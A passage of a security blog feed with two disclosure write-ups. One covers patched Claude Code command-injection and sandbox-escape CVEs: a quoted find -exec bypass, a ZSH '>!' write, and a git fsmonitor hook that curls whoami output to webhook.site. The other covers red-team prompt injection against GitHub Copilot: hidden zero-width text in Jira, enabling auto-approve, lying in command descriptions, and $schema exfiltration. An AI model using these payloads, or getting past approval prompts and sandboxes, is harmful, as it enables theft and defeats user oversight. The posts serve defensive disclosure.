dash is just a character in the argument. But the regex pattern doesn’t match because there’s no literal <code>-exec</code> token. The command auto-executes without any approval prompt.</p><h2 id="Proof-of-Concept"><a href="#Proof-of-Concept" class="headerlink" title="Proof of Concept"></a>Proof of Concept</h2><p>Here’s the default behavior: <code>curl</code> requires approval:</p><img src="/images/claude-code-cmd-injection/24887/Curl.png" class="[test]" title="The Claude Code approval modal appearing for a curl command" alt="By default, curl asks for permission"><p>And here’s the bypass in action, executing without any prompt:</p><img src="/images/claude-code-cmd-injection/24887/Command_injection_2.0.69.png" class="[test]" title="Command injection executing without an approval prompt on v2.0.69" alt="No modal, no problem"><p>The exfiltrated data successfully reached the webhook:</p><img src="/images/claude-code-cmd-injection/24887/Exfiltration_2.0.69.png" class="[test]" title="Exfiltrated data appearing on webhook.site" alt="Special delivery"><h2 id="The-Sandbox-Escape"><a href="#The-Sandbox-Escape" class="headerlink" title="The Sandbox Escape"></a>The Sandbox Escape</h2><p>Here’s where it gets interesing. The command injection alone is severe, but I discovered it could also escape Claude Code’s OS-level sandbox.</p><p>The mechanism works like this:</p><ol><li>The sandbox IS enabled and enforced for normal operations</li><li>Writing files outside the workspace normally requires the <code>(unsandboxed)</code> approval modal</li><li>A malicious <code>CLAUDE.md</code> can instruct Claude to invoke Bash with <code>dangerouslyDisableSandbox: true</code></li><li>Since the command injection bypasses the approval modal entirely, <strong>the user never sees the <code>(unsandboxed)</code> warning</strong></li><li>The command executes outside the sandbox without user consent</li></ol><p>From my HackerOne report:</p><blockquote><p>This is not only a permission prompt bypass, but also allows sandbox escape when the prompt includes instructions to include the Bash argument <code>dangerouslyDisableSandbox: true</code>. Users who enable sandbox mode to protect against files being written outside of the project workspace, or any other sandbox restrictions, are not protected.</p></blockquote><img src="/images/claude-code-cmd-injection/24887/Sandbox_escape_2.0.69.png" class="[test]" title="Sandbox escape demonstration on v2.0.69" alt="Reading and writing outside the workspace, uninvited"><p>This demonstrates the three-part chain:</p><ol><li><code>find &quot;-&quot;exec cat /home/kali/ARB.txt</code> reads a file outside the workspace</li><li><code>find &quot;-&quot;exec touch /home/kali/GAME_SETUP.txt</code> writes a file outside the workspace</li><li>Both executed without approval, with sandbox enabled</li></ol><h1 id="CVE-2026-24053-ZSH-Clobber-Path-Restriction-Bypass"><a href="#CVE-2026-24053-ZSH-Clobber-Path-Restriction-Bypass" class="headerlink" title="CVE-2026-24053: ZSH Clobber Path Restriction Bypass"></a>CVE-2026-24053: ZSH Clobber Path Restriction Bypass</h1><h2 id="The-Vulnerability-1"><a href="#The-Vulnerability-1" class="headerlink" title="The Vulnerability"></a>The Vulnerability</h2><p>Claude Code’s path validation ensures file writes stay within the project workspace. Writing outside the workspace triggers the approval modal:</p><img src="/images/claude-code-cmd-injection/24053/Default_redirect.png" class="[test]" title="A normal redirect outside the workspace triggering the approval modal" alt="The intended behavior"><p>Even if you approve, the sandbox blocks it:</p><img src="/images/claude-code-cmd-injection/24053/Default_sandbox.png" class="[test]" title="The sandbox blocking a file write outside the workspace" alt="Denied at the OS level"><p>But Claude Code’s validation was designed primarily for Bash semantics. ZSH (the default shell on macOS and common Linux distributions like Kali) has a special “clobber” operator: <code>&gt;!</code></p><h2 id="The-Bypass-Pattern-1"><a href="#The-Bypass-Pattern-1" class="headerlink" title="The Bypass Pattern"></a>The Bypass Pattern</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;malicious content&quot;</span> &gt;! /arbitrary/path/outside/workspace</span><br></pre></td></tr></table></figure><p>The <code>&gt;!</code> operator in ZSH forces file overwriting, but more importantly, Claude Code’s regex validation wasn’t looking for this pattern. It expected <code>&gt;</code> for redirects, not <code>&gt;!</code>.</p><img src="/images/claude-code-cmd-injection/24053/Arbitrary_file_write.png" class="[test]" title="An arbitrary file write bypassing approval using the ZSH clobber operator" alt="One little exclamation mark"><p>The file write succeeded without any approval modal, even with sandbox enabled.</p><h2 id="Weaponization-Git-Hooks-for-Code-Execution"><a href="#Weaponization-Git-Hooks-for-Code-Execution" class="headerlink" title="Weaponization: Git Hooks for Code Execution"></a>Weaponization: Git Hooks for Code Execution</h2><p>A file write primitive is useful, but how do we achieve arbitrary command execution? The answer: git’s <code>fsmonitor</code> hook.</p><p>The <code>.git/config</code> file can specify an <code>fsmonitor</code> command that executes whenever git checks the working directory status. And critically, <code>git status</code> is an <strong>auto-approved command</strong>.</p><h2 id="Full-Attack-Chain"><a href="#Full-Attack-Chain" class="headerlink" title="Full Attack Chain"></a>Full Attack Chain</h2><ol><li><strong>Write malicious git config</strong> using the ZSH clobber bypass:</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;[core]</span></span><br><span class="line"><span class="string">fsmonitor = &quot;curl https://webhook.site/xxx?data=$(whoami)&quot;&#x27;</span> &gt;! .git/config</span><br></pre></td></tr></table></figure><ol start="2"><li><strong>Trigger with auto-approved command</strong>:</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git status</span><br></pre></td></tr></table></figure><p>The <code>git status</code> command is auto-approved and executes without any modal. But because we’ve poisoned the config with an <code>fsmonitor</code> hook, our arbitrary command runs as a side effect.</p><img src="/images/claude-code-cmd-injection/24053/PoC.png" class="[test]" title="The full attack chain firing through the git fsmonitor hook" alt="git status never looked so dangerous"><p>The attack successfully exfiltrated the output of <code>whoami</code>:</p><img src="/images/claude-code-cmd-injection/24053/Exfiltration.png" class="[test]" title="The exfiltrated whoami output arriving via webhook" alt="Caught in the act"><h2 id="Sandbox-Escape"><a href="#Sandbox-Escape" class="headerlink" title="Sandbox Escape"></a>Sandbox Escape</h2><p>Like CVE-2026-24887, this vulnerability also escapes the sandbox. From my report:</p><blockquote><p>Due to bypassing permission prompts for both sandboxed and non-sandboxed executions, this escapes the OS-level sandbox entirely. Claude can decide whether to invoke Bash with <code>dangerouslyDisableSandbox: true</code>, and if it does, the arbitrary file can be written (or the git hook can be executed) even when sandbox is enabled with regular bash permissions.</p></blockquote><h2 id="Requirements"><a href="#Requirements" class="headerlink" title="Requirements"></a>Requirements</h2><ul><li>ZSH shell (default on macOS, common on Linux)</li><li>For the full attack chain: an initialized git repository with at least one commit</li></ul><h1 id="Attack-Vectors"><a href="#Attack-Vectors" class="headerlink" title="Attack Vectors"></a>Attack Vectors</h1><p>These vulnerabilities can be exploited through multiple real-world vectors:</p><h2 id="Malicious-Repository-Clone"><a href="#Malicious-Repository-Clone" class="headerlink" title="Malicious Repository Clone"></a>Malicious Repository Clone</h2><p>An attacker creates a repository with a poisoned <code>CLAUDE.md</code> file. When a victim clones the repo and uses Claude Code, the instructions trigger the vulnerable commands.</p><p>The PoC <code>CLAUDE.md</code> files I created disguised the attack as a game setup process while silently executing the payload.</p><h2 id="Indirect-Prompt-Injection"><a href="#Indirect-Prompt-Injection" class="headerlink" title="Indirect Prompt Injection"></a>Indirect Prompt Injection</h2><p>The vulnerabilities can be triggered through:</p><ul><li><strong>WebFetch</strong>: Malicious content on websites Claude is asked to analyze</li><li><strong>Git Issues/PRs</strong>: Payload hidden in issue descriptions Claude reads</li><li><strong>MCP Servers</strong>: Remotely hosted MCP servers can inject malicious content</li><li><strong>Any external data</strong>: Anywhere untrusted content enters Claude’s context window</li></ul><p>From my report:</p><blockquote><p>The vulnerability is irrespective of model alignment and can be exploited through a multitude of attack scenarios – not only limited to a victim cloning a project with a poisoned CLAUDE.md.</p></blockquote><h1 id="The-Core-Problem-Regex-as-Security-Boundary"><a href="#The-Core-Problem-Regex-as-Security-Boundary" class="headerlink" title="The Core Problem: Regex as Security Boundary"></a>The Core Problem: Regex as Security Boundary</h1><p>Both vulnerabilities share the same root cause: <strong>using regex patterns to make security decisions about shell commands</strong>.</p><p>Shell syntax is incredibly complex. There are multiple ways to express the same command:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># All equivalent in bash:</span></span><br><span class="line">find . -<span class="built_in">exec</span> whoami \;</span><br><span class="line">find . <span class="string">&quot;-exec&quot;</span> whoami \;</span><br><span class="line">find . <span class="string">&#x27;-exec&#x27;</span> whoami \;</span><br><span class="line">find . <span class="string">&quot;-&quot;</span><span class="built_in">exec</span> whoami \;</span><br></pre></td></tr></table></figure><p>As the <a href="https://flatt.tech/research/posts/pwning-claude-code-in-8-different-ways/">GMO Flatt Security research</a> documented, researchers have found numerous bypass techniques:</p><ul><li><code>$IFS</code> variable expansion bypassing <code>\S+</code> patterns</li><li>Git abbreviated arguments (<code>--upload-pa</code> instead of <code>--upload-pack</code>)</li><li>Bash variable expansion chains with <code>@P</code> modifier</li><li><code>sed</code> expression parsing with the <code>e</code> execution modifier</li><li>And many more…</li></ul><p>The fundamental issue: <strong>blocklist approaches fail because they cannot anticipate all dangerous patterns</strong>. You’re essentially trying to parse a shell language with regex, which is a losing battle.</p><h1 id="Responsible-Disclosure"><a href="#Responsible-Disclosure" class="headerlink" title="Responsible Disclosure"></a>Responsible Disclosure</h1><p>I reported both vulnerabilities to Anthropic through their HackerOne bug bounty program.</p><table><thead><tr><th>CVE</th><th>Bounty</th><th>Status</th></tr></thead><tbody><tr><td>CVE-2026-24887</td><td>$3,700</td><td>Patched</td></tr><tr><td>CVE-2026-24053</td><td>$3,700</td><td>Patched</td></tr></tbody></table><p>Anthropic’s security team was responsive and professional. Both vulnerabilities are now fixed in current versions of Claude Code.</p><h1 id="Key-Takeaways"><a href="#Key-Takeaways" class="headerlink" title="Key Takeaways"></a>Key Takeaways</h1><h2 id="1-Regex-Cannot-Parse-Shell-Commands-Securely"><a href="#1-Regex-Cannot-Parse-Shell-Commands-Securely" class="headerlink" title="1. Regex Cannot Parse Shell Commands Securely"></a>1. Regex Cannot Parse Shell Commands Securely</h2><p>Using regex to determine command safety is fundamentally fragile. Shell syntax has too many edge cases, quoting rules, and shell-specific behaviors. ZSH operators like <code>&gt;!</code> weren’t considered. Security mechanisms need to parse commands the same way the shell does – not approximate it with patterns.</p><h2 id="2-Sandbox-Bypass-Through-Prompt-Injection-An-architectural-choice"><a href="#2-Sandbox-Bypass-Through-Prompt-Injection-An-architectural-choice" class="headerlink" title="2. Sandbox Bypass Through Prompt Injection - An architectural choice"></a>2. Sandbox Bypass Through Prompt Injection - An architectural choice</h2><p>The sandbox escape mechanism is particularly concerning and is unlikely to be patched. Even when users enable sandbox protection, a malicious prompt can instruct Claude to use <code>dangerouslyDisableSandbox: true</code>. Combined with a command injection that bypasses the approval modal, the user never sees the <code>(unsandboxed)</code> warning that would normally alert them. It’s an inherently risky archtectural decision rather than a standalone vulnerability.</p><h2 id="3-Defense-in-Depth"><a href="#3-Defense-in-Depth" class="headerlink" title="3. Defense in Depth"></a>3. Defense in Depth</h2><p>Multiple security layers should be independent. The sandbox should enforce restrictions regardless of whether the approval modal was shown. Permission scopes should be evaluated server-side, not just client-side. Auto-approval should be about user convenience, not about bypassing security boundaries.</p><h1 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h1><p>Finding vulnerabilities in Claude Code using Claude Code was an unexpected turn in my regular development workflow. What started as confusion about why my permission settings weren’t working as expected led to discovering two sandbox escape vulnerabilities worth $7,400.</p><p>The core lesson: <strong>regex-based security decisions can be bypassed with creative syntax</strong>. Whether it’s quoting a dash in <code>find &quot;-&quot;exec</code> or using ZSH’s <code>&gt;!</code> operator, there’s usually a way to express the same intent differently.</p><p>For Claude Code users: make sure you’re running the latest version where these issues are patched.</p><p>For security researchers: the <a href="https://specterops.io/blog/2025/11/21/an-evening-with-claude-code/">SpecterOps blog post</a> describes how to extract Claude Code’s source via source maps, enabling you to unit-test the validation logic directly without prompting Claude every time. This dramatically shortens the feedback loop for finding bypasses.</p><p>For tool developers: consider whitelist approaches over blacklists, implement server-side validation for security-critical decisions, and remember that your users might be running different shells than you tested with.</p><hr><p><strong>References:</strong></p><ul><li><a href="https://github.com/anthropics/claude-code/security/advisories/GHSA-qgqw-h4xq-7w8w">GHSA-qgqw-h4xq-7w8w</a> (CVE-2026-24887)</li><li><a href="https://github.com/anthropics/claude-code/security/advisories/GHSA-q728-gf8j-w49r">GHSA-q728-gf8j-w49r</a> (CVE-2026-24053)</li><li><a href="https://specterops.io/blog/2025/11/21/an-evening-with-claude-code/">SpecterOps: An Evening with Claude (Code)</a></li><li><a href="https://flatt.tech/research/posts/pwning-claude-code-in-8-different-ways/">GMO Flatt Security: Pwning Claude Code in 8 Different Ways</a></li></ul>]]></content>
    
    
    <summary type="html">Finding two command injection &amp; sandbox escape CVEs in Claude Code, using Claude Code</summary>
    
    
    
    <category term="Security Research" scheme="https://blindcyber.gitlab.io/categories/Security-Research/"/>
    
    
    <category term="sandbox-escape" scheme="https://blindcyber.gitlab.io/tags/sandbox-escape/"/>
    
    <category term="security" scheme="https://blindcyber.gitlab.io/tags/security/"/>
    
    <category term="vulnerability" scheme="https://blindcyber.gitlab.io/tags/vulnerability/"/>
    
    <category term="CVE" scheme="https://blindcyber.gitlab.io/tags/CVE/"/>
    
    <category term="command-injection" scheme="https://blindcyber.gitlab.io/tags/command-injection/"/>
    
    <category term="claude-code" scheme="https://blindcyber.gitlab.io/tags/claude-code/"/>
    
    <category term="bug-bounty" scheme="https://blindcyber.gitlab.io/tags/bug-bounty/"/>
    
  </entry>
  
  <entry>
    <title>Vibe Pwning with GitHub Copilot</title>
    <link href="https://blindcyber.gitlab.io/2025/10/28/copilot-fun/"/>
    <id>https://blindcyber.gitlab.io/2025/10/28/copilot-fun/</id>
    <published>2025-10-28T00:00:00.000Z</published>
    <updated>2026-07-08T17:01:07.095Z</updated>
    
    <content type="html"><![CDATA[<p><em>Co-authored with <a href="https://bitsofharmony.com/">Brent Harrell</a></em></p><h1 id="Intro"><a href="#Intro" class="headerlink" title="Intro"></a>Intro</h1><p>Of the many uses of GenAI hitting technology stacks today, AI-assisted coding platforms offer one of the most compelling applications of LLM text generation. These platforms enable tech enthusiasts with an idea to make it a reality and speed up routine software development through context-aware code completions.</p><p>But this technology is not without its dark side. One element that gets a lot of attention is letting the LLM do the heavy lifting with limited human-generated code (AKA “vibecoding”), which can lead to flaws ranging from security gaps and missed requirements to code that can’t be easily modified or scaled.</p><p>Another element, the subject of our research in this blog, is the attack surface opened by integrating an LLM into development environments, where access to powerful developer tools allows the LLM to not only write code but execute the code or other commands on the system. </p><p>This topic was the subject of several recent blogs and conference talks where researchers demonstrated entire kill-chains that led to data theft or remote code execution. In some cases, those attack paths required zero interaction from the developer aside from asking the LLM to summarize the code project.</p><p>While many of the specific paths discussed in those blogs and talks have been mitigated to a degree, the very nature of AI-assisted coding capabilities and the non-deterministic nature of LLM text generation make this attack surface difficult to fully secure. We recently had the opportunity to dig further into GitHub Copilot for Visual Studio Code (VS Code) as part of an exercise, looking for new ways to achieve similar effects of data theft or remote code execution. </p><p><strong>In the end, we discovered an Elevation of Privilege vulnerability in VSCode core (<a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66389">CVE-2025-66389</a>) and it was patched by Microsoft.</strong></p><p><em>Note: The remainder of the blog will simply refer to GitHub Copilot as Copilot. This is not to be confused with other instances of Copilot, such as those tied to Microsoft 365 applications. Also, the standard disclaimer applies - this is for educational purposes to continue to raise awareness about security pitfalls of GenAI products. Always get approval for testing.</em></p><hr><h1 id="RCE-via-GitHub-Copilot"><a href="#RCE-via-GitHub-Copilot" class="headerlink" title="RCE via GitHub Copilot"></a>RCE via GitHub Copilot</h1><h2 id="Background"><a href="#Background" class="headerlink" title="Background"></a>Background</h2><p>A recent <a href="https://embracethered.com/blog/posts/2025/github-copilot-remote-code-execution-via-prompt-injection/">blog</a> from Johann Rehberger discussed a CVE awarded to multiple researchers (CVE-2025-53773) affecting GitHub Copilot, wherein a malicious prompt inserted in the code led to full remote code execution (RCE) with zero user approvals required. </p><p>When the victim asked Copilot to take some action that interacted with the compromised code like “summarize this project,” the hidden instructions triggered Copilot to modify the VS Code settings file. In the case of this attack, the instructions enabled “YOLO” (You Only Live Once) mode - an experimental setting that automatically approves all actions suggested by Copilot (setting: <code>&quot;chat.tools.autoApprove&quot;: true</code>).</p><p>Copilot has the ability to read and write files in the current “workspace” - the open folder and subfolders - and any other files the user has open in the editor. For security purposes, Copilot cannot access other files on the system. The root of the issue stemmed from the presence of distinct workspace settings (<code>workspace/.vscode/settings.json</code>). Because Copilot could alter this file unrestricted, Copilot could enable YOLO mode with no user intervention if compromised by an attacker.</p><p>To fix this, Microsoft removed YOLO mode from workspace settings in favor of using the global profile settings, located elsewhere. As a result, Copilot can no longer directly enable the setting unless the user opens the global settings file within VS Code.</p><p>Problem solved? Partially.</p><p>While the patch was effective, returning to a statement from the introduction: the very nature of these platforms gives them extensive capabilities that you cannot simply patch out without degrading the product. VS Code is not the judge or jury for the code you write and execute in the platform, it simply facilitates and aids the process. As a result, attackers can still add YOLO mode and gain remote code execution with a few additional steps.</p><p>To be clear, the demonstration below is not a new CVE, it takes advantage of the platform’s core functionality. Another key-caveat is that this is no longer a zero-click exploit. With a little Red Team ingenuity to come up with the right pretext, though, it can still be a potent attack.  Our goal in highlighting this bypass is to illustrate that securing GenAI tooling is not as straight-forward as issuing a patch, as may be the case with traditional applications, and organizations employing GenAI tools will face residual risks requiring other mitigations.</p><h2 id="The-Sitch"><a href="#The-Sitch" class="headerlink" title="The Sitch"></a>The Sitch</h2><p>In a recent op, we had secondary objectives to target developers and the development environment and use GenAI tools when possible. We had access to a Git service and Jira. So, what could we do?</p><ol><li>Search for creds (pff, boring)</li><li>Poison legitimate programs and wait for them to be deployed (lots of moving pieces, need to get a commit approved)</li><li>Get a developer to run a malicious command for us (well now that’s interesting…)</li></ol><p>We ended up going with number three, because it’s fun (okay, okay, we also looked for creds). At a high level, the attack path was as follows: the attacker (your friendly neighborhood Red Team, in this case) creates a bug report in Jira for an active project. Inside the bug report are hidden instructions that:</p><ol><li>   Enable YOLO mode.</li><li>   Disguise the artifacts of the attack.</li><li>   Execute operating system commands under seemingly benign auspices to gain remote code execution.</li></ol><p>The unsuspecting developer copies the Jira ticket into GitHub Copilot, leading to unintended effects.</p><h2 id="The-Exploit-Part-1-The-Insertion"><a href="#The-Exploit-Part-1-The-Insertion" class="headerlink" title="The Exploit Part 1: The Insertion"></a>The Exploit Part 1: The Insertion</h2><p><strong>Problem #1: How do we get a developer to run a malicious command?</strong></p><p><em>By not letting them know they’re doing it, of course.</em></p><p>In the course of the op, we observed training materials instructing developers to cut and paste the description or other ticket information from Jira into the Copilot chat, adding a small request like “help me find this bug.” Pretty common these days as companies try to accelerate with GenAI.</p><p>So, how could we use that? Enter the zero-width Unicode characters all the cool kids are using.</p><p>Zero-width Unicode characters serve functional purposes like controlling text direction. In modern digital typography, these invisible characters help ensure text displays correctly across different systems by controlling how adjacent characters interact without adding visible space or marks. </p><p>Because these characters are present in training datasets, LLMs know how to interpret them, allowing attackers to encode their instructions in a way that only the LLM will see. The Red Team found that these hidden characters were preserved in Jira comments and text fields, making it a perfect opportunity to poison a legitimate source of information with little evidence.</p><img src="/images/copilot1.png" class="[test]" title="An example of poisoning Jira with zero-width Unicode characters" alt="Zero-width Unicode + Jira bug ticket &#x3D;&#x3D; ticking time bomb"><h2 id="The-Exploit-Part-2-The-YOLO-Maneuver"><a href="#The-Exploit-Part-2-The-YOLO-Maneuver" class="headerlink" title="The Exploit Part 2: The YOLO Maneuver"></a>The Exploit Part 2: The YOLO Maneuver</h2><p><strong>Problem 2: YOLO mode was patched, right?</strong></p><p><em>Alas, it’s true. But only for Copilot…</em></p><p>Copilot can’t edit the settings file directly, but the code Copilot writes can do whatever the user can do so… let’s just use that.</p><p>We targeted a Python project because of its interpreted nature and LLMs are quite adept at basic Python code. The first set of instructions given to the LLM in the hidden characters asked it to generate a new Python file, <code>copilot_setup.py</code>. This file contained code to modify the user’s global VS Code profile under the auspices of “getting ready to debug.” </p><img src="/images/copilot-anakin.png" class="[test]" title="The four-panel Anakin Star Wars meme" alt="Oh... oh no."><p>Copilot consistently generated functioning code. Something to keep in mind as you’re building LLM-based payloads, though, is that they’re non-deterministic. Even though the code worked 90%+ of the time, there were a few times that required revision. The nifty thing about LLMs is that Copilot could revise the code itself in those cases, but such an error increased the time for the user to catch on to the attack.</p><p>But then we ran into a different problem…</p><h2 id="The-Exploit-Part-3-The-Bamboozle"><a href="#The-Exploit-Part-3-The-Bamboozle" class="headerlink" title="The Exploit Part 3: The Bamboozle"></a>The Exploit Part 3: The Bamboozle</h2><p><strong>Problem 3: Wait, they can see what we’re doing…</strong></p><p><em>We can’t have that.</em></p><p>Because Copilot wasn’t YOLO-ing yet, executing this “setup” file still required user permission. Additionally, VS Code opens newly edited files in the editor window, which exposed the exact nature of the new code to the user. This would likely decrease the odds of clicking “continue.”</p><p>To hide the file from view for longer, we noticed that multiple file creations or changes resulted in the first file presenting as “active” while the subsequent files opened in tabs to the right. </p><p>So, we thought, let’s just create an arbitrary and capricious “debug log” first. That will hide the new Python code unless the developer explicitly opens the tab. As for getting the user to accept the command? Well… we found that Copilot supplied the description for the command we want to run, so we could manufacture an explanation of dubious veracity (that means lie).</p><img src="/images/bamboozle.jpg" class="[test]" title="A clip from a comedy sketch about bamboozling people" alt="Damn it, Caboose"><p>Combining these approaches into new instructions, we got a pretty reasonable pretext. The last hurdle was the user approval. If approved, we’d have a shell (or data exfil) coming our way in however long it took for Copilot to meander through its answer. Which… could be 10 seconds or it could work itself into a tizzy actually debugging first. Either way, we were pretty confident a developer that’s cutting and pasting from Jira will probably not object too much to running a setup script, because LLMs do weird things sometimes.</p><img src="/images/copilot2.png" class="[test]" title="Demonstrating the obfuscation techniques" alt="AIs got jukes"><img src="/images/copilot3.png" class="[test]" title="An image showing post-execution settings changes" alt="Whoops, you shouldnt have done that."><h2 id="The-Exploit-Part-4-Giving-them-the-business"><a href="#The-Exploit-Part-4-Giving-them-the-business" class="headerlink" title="The Exploit Part 4: Giving them the business"></a>The Exploit Part 4: Giving them the business</h2><p><strong><del>Problem</del> Step 4: Figuring out what to do with our power</strong></p><p><em>Oh, the possibilities…</em></p><p>With auto-approve enabled and the files cleaned up, we could run any OS command desired with no user input, requiring user attentiveness and quick actions to stop a malicious command.</p><img src="/images/quicker.png" class="[test]" title="A meme about being faster" alt="Its a bit too late, buddy"><p>For the sake of simplicity, the demonstration path culminates with a request to a webpage hosting a command to spawn Calculator. Don’t let the AI glaze make you forget that you still need to be a good Red Teamer and come up with a pretext and reasonable-looking command, because Copilot is going to tell the user what it’s doing.</p><img src="/images/copilot5.png" class="[test]" title="An image showing remote code execution" alt="Victory"><hr><h1 id="An-Alternate-Approach-Malicious-VS-Code-Extensions"><a href="#An-Alternate-Approach-Malicious-VS-Code-Extensions" class="headerlink" title="An Alternate Approach: Malicious VS Code Extensions"></a>An Alternate Approach: Malicious VS Code Extensions</h1><p>As mentioned in the above discussion, VS Code has internal commands offered via an API that Copilot can call directly with user approval. As an alternative means of delivering malicious code to the developers, we found that the LLM could be convinced to call the <code>workbench.extensions.installExtension</code> command with an arbitrary extension ID and name. The given name did not need to match the official name in the extension registry, so go nuts.</p><img src="/images/copilot6.png" class="[test]" title="The syntax for the installExtension command" alt="Nothing to see here"><p>You can combine this with indirect prompt injection through code files or using the path discussed in the last section.</p><img src="/images/copilot7.png" class="[test]" title="An example of supplying an arbitrary name" alt="I wont hurt ya, brah, promise"><hr><h1 id="0day-Circumventing-Copilot-Workspace-Restrictions"><a href="#0day-Circumventing-Copilot-Workspace-Restrictions" class="headerlink" title="0day - Circumventing Copilot Workspace Restrictions"></a>0day - Circumventing Copilot Workspace Restrictions</h1><p>Stemming from the prior research, we identified a more serious vulnerability that circumvented Copilot restrictions, allowing us to access any file on the system to which the user had access. We submitted this to Microsoft who validated and patched the issue, and it was assigned <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66389">CVE-2025-66389</a>.</p><p>As discussed, Copilot tooling is typically restricted to the active workspace or files already open in the editor to limit the impact to the host from LLM hallucination or compromise. For example, the <code>readFile</code> tool explicitly <a href="https://github.com/microsoft/vscode-copilot-chat/blob/8e8b97f05894fdc0868d4fc201e44c786bf891b9/src/extension/tools/node/toolUtils.ts#L84">checks</a> whether the file is in the workspace or open in a tab during its preparation.</p><p>However, VS Code offers a <code>fetchPage</code> tool that accepts both HTTP and file URI patterns. Because this tool is offered by VS Code itself and not Copilot (it is <a href="https://github.com/microsoft/vscode-copilot-chat/blob/8e8b97f05894fdc0868d4fc201e44c786bf891b9/src/extension/tools/vscode-node/fetchWebPageTool.tsx#L71">invoked</a> by Copilot using a wrapper), it does not have the same restrictions on accessing files outside the workspace. To be clear, this VS Code tool is not itself a vulnerability and aligns with normal functionality for a development environment. How else would you open stuff?</p><p>With the appropriate prompt, Copilot could be coerced to utilize this tool rather than its own <code>readFile</code> tool, circumventing Copilot restrictions to read arbitrary system files. In addition, the user did not receive an approval prompt when supplying a file URI because the wrapper for this tool <a href="https://github.com/microsoft/vscode/blob/03baef1008086ed4960042fa463e570072173bb5/src/vs/workbench/contrib/chat/electron-browser/tools/fetchPageTool.ts#L152">only required user approval for untrusted web URLs</a>. This has been fixed, unless you have <code>autoApprove</code> enabled in which case… YOLO.</p><img src="/images/copilot8.png" class="[test]" title="An image showing fetching a local file outside of the workspace" alt="Its local so it must be safe right?"><p>While arbitrary file reads are concerning, the user already had access to anything that opened and Copilot still could not modify the files, making this issue largely moot. To have impact, the information needed to be exfiltrated to an unauthorized location. A common method for exfiltrating LLM output is the use of Markdown images, which can be used to send an arbitrary GET to the supplied image source. VS Code, however, does not render the Markdown syntax directly and converts it to a plain, HTML string.</p><img src="/images/copilot9.png" class="[test]" title="An image showing a broken markdown image" alt="Kudos, Microsoft"><p>Digging further, we determined that VS Code’s <a href="https://code.visualstudio.com/docs/languages/json#_json-schemas-and-settings">handling of JSON files</a> with Intellisense could be abused to trigger arbitrary HTTP requests. When a new JSON file is created with a <code>$schema</code> key and a URL as the value, Intellisense automatically sends a request to fetch the schema. By having Copilot create a JSON file, it could append contents from the arbitrary file read to the schema URL to exfiltrate information. </p><p>As a demonstration, the below prompt exfiltrated a fake API key from a file by combining the arbitrary file read with the <code>$schema</code> exfiltration technique, none of which required user approval. This could be further combined with previously discussed delivery obfuscation mechanisms to hide the prompt, though the output into the chat sidebar will be much harder to explain as benign.</p><img src="/images/copilot10.png" class="[test]" title="An image showing data exfiltration" alt="All your API keys are belong to us"><h1 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h1><p>While the arbitrary file read constitutes a full-fledged vulnerability, the tactics and techniques covered in this blog primarily focus on LLMs susceptibility to manipulation through the data sources they operate on. The same concerns a company has about a well-intentioned employee inadvertently doing something harmful apply to LLMs, but without the human judgement to identify anomalous behavior and nudge them that something is wrong.</p><p>Companies can help mitigate against these attack paths in a few ways:</p><ol><li><p><strong>User training.</strong> Train users that output from LLMs is not necessarily safe despite coming from an “internal” source. Additionally, coach users on the potential threats to data sources, including copying and pasting, that may add unwanted instructions to the LLM.</p></li><li><p><strong>Disable auto-approve settings.</strong> Some AI-coding platforms allow enterprises to universally disable auto-approve settings or specifically allow-list certain commands that can be auto-approved. Where possible, use those technical controls to keep a human in the loop. If not offered by the platform, conduct routine user training for developers and consider periodic audits of settings files to ensure compliance.</p></li><li><p><strong>Segregate.</strong> While more time and labor intensive, further separation of development boxes from developers’ normal workstations can help mitigate potential compromise if malicious code is introduced through the coding platform.</p></li></ol><p>If you are building your own applications, additionally consider:</p><ol><li><p><strong>Restrict hidden Unicode characters.</strong> Unless expressly needed for the functionality of the application, the application should filter these characters before passing the prompt to the LLM and raise the suspicion level of the interaction. Let’s be real, how often do you really need these for the LLM?</p></li><li><p><strong>Consider all data sources.</strong> Indirect prompt injection has been and will continue to be the best way to introduce malicious prompts.</p></li><li><p><strong>Check for redundant tools.</strong> As discussed with the arbitrary file read, one set of tooling was restricted while the overall environment offered another set of tooling. Ensure your application does not offer two sets of similar functions with differing security postures when introducing an LLM. This also applies to MCP servers your team may use, as malicious MCP servers can “shadow” legitimate tools, convincing the LLM to call the malicious tool instead of the benign one.</p></li></ol>]]></content>
    
    
    <summary type="html">Finding 0days in your friendly neighborhood coding assistant (CVE-2025-66389)</summary>
    
    
    
    <category term="Red Team" scheme="https://blindcyber.gitlab.io/categories/Red-Team/"/>
    
    
    <category term="LLM" scheme="https://blindcyber.gitlab.io/tags/LLM/"/>
    
    <category term="0day" scheme="https://blindcyber.gitlab.io/tags/0day/"/>
    
  </entry>
  
  <entry>
    <title>Creating a PoC for Smart Contract Bug Bounties</title>
    <link href="https://blindcyber.gitlab.io/2022/03/29/First-Smart-Contract-Bug-Bounty/"/>
    <id>https://blindcyber.gitlab.io/2022/03/29/First-Smart-Contract-Bug-Bounty/</id>
    <published>2022-03-29T20:39:07.000Z</published>
    <updated>2026-07-08T17:01:07.094Z</updated>
    
